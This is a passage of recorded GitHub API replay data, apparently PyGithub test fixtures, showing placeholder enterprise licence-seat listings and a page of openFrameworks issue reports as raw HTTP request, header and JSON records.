collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user081","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user081","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user082","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user082","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user083","github_com_name":"beaver-user083","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user083","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user084","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user084","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user085","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user085","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user086","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user086","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user087","github_com_name":"beaver-user087","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user087","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user088","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user088","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user089","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user089","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user090","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user090","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1}]} https GET api.github.com None /enterprises/beaver-group/consumed-licenses?page=4 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 27 Jul 2023 05:18:50 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"1d436b78f7cd5021a418b048a8958845726638e088319edfa2898c2ae23c1ce1"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', 'admin:enterprise, manage_billing:enterprise, read:enterprise'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="prev", ; rel="first"'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4825'), ('X-RateLimit-Reset', '1690436729'), ('X-RateLimit-Used', '175'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '36DD:03FA:2DE97B:304197:64C1FE3A')] {"total_seats_consumed":102,"total_seats_purchased":103,"users":[{"github_com_login":"beaver-user091","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user091","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user092","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user092","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user093","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user093","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user094","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user094","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user095","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user095","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user096","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user096","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user097","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user097","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user098","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user098","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user099","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user099","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user100","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user100","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user101","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user101","github_com_member_roles":[],"github_com_enterprise_roles":["Pending outside collaborator invitation"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user102","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user102","github_com_member_roles":[],"github_com_enterprise_roles":["Pending outside collaborator invitation"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":false,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PaginatedList.testNoFirstPage.txt0000644000175100001660000000076214756101563024534 0ustar00runnerdockerhttps GET api.github.com None /repos/openframeworks/openFrameworks/issues {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4927'), ('content-length', '52085'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"5e8867ffb4e7630e852b2b231f3b9cdb"'), ('date', 'Tue, 29 May 2012 19:36:57 GMT'), ('content-type', 'application/json; charset=utf-8')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PaginatedList.testReversedIterationSupportsIterator.txt0000644000175100001660000031530114756101563031301 0ustar00runnerdockerhttps GET api.github.com None /repos/openframeworks/openFrameworks/issues {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4927'), ('content-length', '52085'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"5e8867ffb4e7630e852b2b231f3b9cdb"'), ('date', 'Tue, 29 May 2012 19:36:57 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-27T18:11:17Z","body":"Since more and more of the OF Core now relies on Poco (ie ofThread, etc) does OF_USING_POCO make sense anymore?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1280","comments":0,"milestone":null,"number":1280,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1280","assignee":null,"title":"deprecate OF_USING_POCO?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-27T18:03:23Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"danomatika","id":480637},"id":4772349,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-28T08:08:24Z","body":"There occurs a weir glitch when compiling the ofShader example with my HD Graphics 3000 (288 Mb) (Mac osx 10.7.4 - Mac Mini - i5 - 2.3Ghz)\n\nI was able to get rid of the glitch by replacing \"gl_FragColor = gl_Color;\" with \"gl_FragColor = 255.0;\" or any other number.\nAnybody knows a reason for the glitch / proper solution?\n\nScreenshot: http://goo.gl/Xdf74\nOpenGL capacities on different graphic cards on apple machines: http://goo.gl/FGQ2N","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1279","comments":2,"milestone":null,"number":1279,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1279","assignee":null,"title":"ofShader example with HD Graphics 3000 issue","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-26T19:27:56Z","state":"open","user":{"url":"https://api.github.com/users/subtiv","gravatar_id":"837cfe96365c031130a46311eb11d86a","avatar_url":"https://secure.gravatar.com/avatar/837cfe96365c031130a46311eb11d86a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"subtiv","id":1012684},"id":4767675,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-25T18:39:02Z","body":"produces an error on app exit or tex destruction.\n\n OF: OF_LOG_ERROR: trying to delete a non indexed texture, something weird is happening. Deleting anyway\n\nThis is because retain(int id) is a static function in ofTexture.cpp. So we can't retain the depthStencilTexture.\n\nThis suggest we should move the texture allocation of the depth / stencil texture to ofTexture - something which is not possible at the moment. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1277","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1277,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1277","assignee":null,"title":"ofFbo can't retain depthStencil Texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-05-25T18:37:46Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":4758608,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-22T21:26:57Z","body":"\nthe offending line is: \n\nif( speed.getValue() != preSpeed ){\n\nwhich is evaluating as true even through the slider is not touched (float equality test, etc). \n\nif we alter it to something like: \n\nif( fabs(speed.getValue() - preSpeed) > 0.0001 ){\n\nthe code runs fine. probably nicer to add a \"value changed()\" functionality to the slider object though or use EPSILON, etc. \n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1271","comments":0,"milestone":null,"number":1271,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1271","assignee":null,"title":"periodic signal example doesn't run well on windows / cb (float equality error)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-05-22T21:26:57Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":4700182,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-22T16:41:21Z","body":"There's some error that appears on linux systems running the project generator to make VS examples, where the debug and release libs for opencv get added badly to the vs project: \n\n\t%(AdditionalDependencies);opencv_highgui231d.lib;opencv_calib3d231.lib;opencv_imgproc231d.lib;opencv_haartraining_engined.lib;opencv_gpu231d.lib;opencv_flann231.lib;opencv_contrib231d.lib;opencv_video231d.lib;opencv_objdetect231d.lib;zlib.lib;opencv_core231d.lib;opencv_contrib231.lib;opencv_ml231d.lib;opencv_features2d231.lib;opencv_core231.lib;opencv_gpu231.lib;opencv_legacy231d.lib;opencv_haartraining_engine.lib;opencv_highgui231.lib;opencv_ml231.lib;opencv_imgproc231.lib;opencv_objdetect231.lib;opencv_legacy231.lib;opencv_video231.lib\n\t\t\t\t%(AdditionalLibraryDirectories);..\\..\\..\\addons\\ofxOpenCv\\libs\\opencv\\lib\\vs2010\n\nthis doesn't seem to be the case on osx or windows, which produces correct results: \n\n\t%(AdditionalDependencies);opencv_calib3d231.lib;opencv_contrib231.lib;opencv_core231.lib;opencv_features2d231.lib;opencv_flann231.lib;opencv_gpu231.lib;opencv_haartraining_engine.lib;opencv_highgui231.lib;opencv_imgproc231.lib;opencv_legacy231.lib;opencv_ml231.lib;opencv_objdetect231.lib;opencv_video231.lib;zlib.lib\n\nwould be good to look at the logic of \"visualStudioProject::addAddon()\" and see if we can fix this.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1268","comments":9,"milestone":null,"number":1268,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1268","assignee":null,"title":"project generator - bad libs for VS / opencv examples","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-05-20T21:50:24Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":4662873,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T00:43:37Z","body":"I woud love some eyes on ofFbo would be great to get it cleaned up and standardized for 0072. \nRight now there are a ton of #ifdefs and some very hard to follow logic, which makes bug fixing quite difficult especially on OPENGL_ES\n\nsee: https://gist.github.com/2711815\n\n@elliotwoods @arturoc @memotv @damiannz @ofZach @kylemcdonald \n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1263","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1263,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1263","assignee":null,"title":"ofFbo.cpp is a huge mess! ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-16T16:27:30Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":4608132,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T14:29:02Z","body":"I added a .mailmap file to the repo to correctly collate all the contributors in spite of changing nick names/email addresses. This is useful when trying to identify contributors for a changelog or similar, or when using the git logging functions like shortlog.\n\nSee the before/after situation here: https://gist.github.com/2710366\n\nI have respected privacy and only used those real names that people have already given in a git ID in the repo. Mainly this addition only associates the different email addresses to one user. @arturoc wins the prize of most used emails! :-)\nThe list is pretty complete, I only had difficulties to associate some IDs to the correct Zachs, since it was not clear for some if @ofZach or @stfj (Zach Gage) was the contributor. Those were left as-is.\n\nIf anybody has objections to their various email being united under their name, please say so and I will correct/remove the relevant entries.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1262","comments":2,"milestone":null,"number":1262,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1262","assignee":null,"title":"Add .mailmap for contributor collation","labels":[],"closed_at":null,"created_at":"2012-05-16T13:44:32Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"id":4604661,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1262.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1262","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1262.patch"}},{"updated_at":"2012-05-16T09:35:31Z","body":"Address #375.\n\nAdd setVolumef(float). Also more clearly define volume ranges (int is 0..255, float is 0..1) and more robust clamping of volume argument.\n\nThis has not been tested on Linux or Windows.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1260","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1260,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1260","assignee":null,"title":"allow float volume on ofVideoPlayer","labels":[],"closed_at":null,"created_at":"2012-05-15T17:50:22Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"damiannz","id":144366},"id":4588997,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1260.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1260","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1260.patch"}},{"updated_at":"2012-05-21T07:31:47Z","body":"This was originally posted @\"biginners\".\n\nhttp://forum.openframeworks.cc/index.php/topic,9527.msg44049.html#msg44049\n\nJoshua noble suggested me to file it as a bug on 